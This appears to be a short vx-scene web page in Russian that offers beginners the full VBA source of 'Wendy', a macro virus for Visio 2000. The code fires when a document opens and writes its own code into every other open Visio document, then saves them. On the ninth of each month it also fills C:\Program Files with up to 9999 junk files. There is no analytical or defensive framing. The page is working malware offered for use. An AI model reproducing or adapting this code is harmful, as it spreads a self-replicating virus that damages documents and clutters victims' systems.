![]() |
![]() |
![]() |
Маленький вирус под Visio2000... Специально для начинающих. Dedicated to t2k(T2000) T2000 gime me 2 dollarz plz... virus start here : ~~~~~~~~~~~~~~~~~~ Private Sub Document_DocumentOpened(ByVal doc As IVDocument) Wendy End Sub Private Sub Wendy() On Error Resume Next 'Wendy Clear by -=Unknow Lord Ultra=- Codez = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 39) For u = 1 To Documents.Count If Documents(u).Description <> "Wendy" Then Documents(u).Description = "Wendy" With Documents(u).VBProject.VBComponents(1).CodeModule .DeleteLines 1, .CountOfLines .InsertLines 1, Codez End With Documents(u).Save End If Next If Day(Now()) = 9 Then MsgBox "Wendy Clear", vbCritical, "Blink182" For live = 1 To 9999 shit = Int(Rnd() * 9999999 + 1) Open "C:\Program Files\" & shit For Output As #2 Print #2, "[Wendy Clear by Lord U2K]" Close #2 Next live End if ThisDocument.Save End Sub |
||
![]() |
![]() |
![]() |